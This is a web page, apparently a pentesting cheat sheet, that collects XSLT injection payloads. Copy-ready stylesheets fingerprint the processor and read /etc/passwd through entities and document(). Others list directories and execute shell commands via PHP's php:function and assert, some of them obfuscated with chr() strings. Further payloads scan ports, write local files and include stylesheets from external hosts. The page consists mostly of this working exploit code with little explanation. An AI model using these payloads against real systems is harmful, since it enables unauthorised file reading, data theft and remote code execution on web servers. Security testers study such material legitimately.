It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).
The transformation can be done in the server or in the browser).
The most used frameworks are: Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica).
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
Fingerprint
Upload this and take information
Copy <?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
External HTTP Request
Copy <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
Javascript Injection
Copy <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
Directory listing (PHP)
Opendir + readdir
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
Assert (var_dump + scandir + false)
Copy <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
Read files
Internal
Copy <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
Through HTTP
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Copy <!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
Internal (PHP)
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
Copy <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
Port scan
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
Write to a file
XSLT 2.0
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
Xalan-J extension
Copy <xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
Other ways to write files in the PDF
Include external XSL
Copy <xsl:include href="http://extenal.web/external.xsl"/>
Copy <?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
Execute code
php:function
Copy <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
Copy <?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
Execute code using other frameworks in the PDF
More Languages
In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
References